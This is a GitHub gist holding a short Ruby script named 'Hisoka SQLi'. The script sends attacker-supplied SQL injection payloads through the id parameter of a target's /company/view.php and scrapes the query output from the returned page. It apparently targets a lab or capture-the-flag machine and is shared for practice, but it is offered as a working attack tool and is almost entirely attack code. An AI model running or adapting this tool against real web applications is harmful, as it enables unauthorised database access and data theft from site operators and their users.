Created
September 16, 2015 23:33
-
-
Save KINGSABRI/5105ed1099a9ef883cb3 to your computer and use it in GitHub Desktop.
For Ibrahim
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
# KING SABRI | |
# Hisoka SQLi - For Ibrahim | |
# | |
require 'open-uri' | |
require 'uri' | |
if ARGV.size < 2 | |
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>" | |
exit 0 | |
else | |
host, payload = ARGV | |
end | |
def sqli(host, payload) | |
begin | |
url = URI.parse("http://#{host}/company/view.php?id=#{payload}") | |
puts "\n[*] URL: #{url}" | |
request = open(url) | |
response = request.read | |
data = response.gsub(/<.*?>/, "").gsub(/[\t|\r\n]/, "") | |
data_bad = data.match(/(Product Info).*(Product not)/).to_s.gsub(/(Product Info )/, '').gsub(/(Product not)/, '') | |
data_good = data.match(/(Product Info).*(Price)/).to_s.gsub(/(Product Info )/, '').gsub(/(5Price)/, '') | |
return data_bad unless data.scan(/(Product Info).*(Product not)/).empty? | |
return data_good unless data.scan(/(Product Info).*(Price)/).empty? | |
rescue Exception => e | |
puts "[!] Error!: #{e}" | |
end | |
end | |
puts sqli(host, payload).split(',') | |
puts "" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment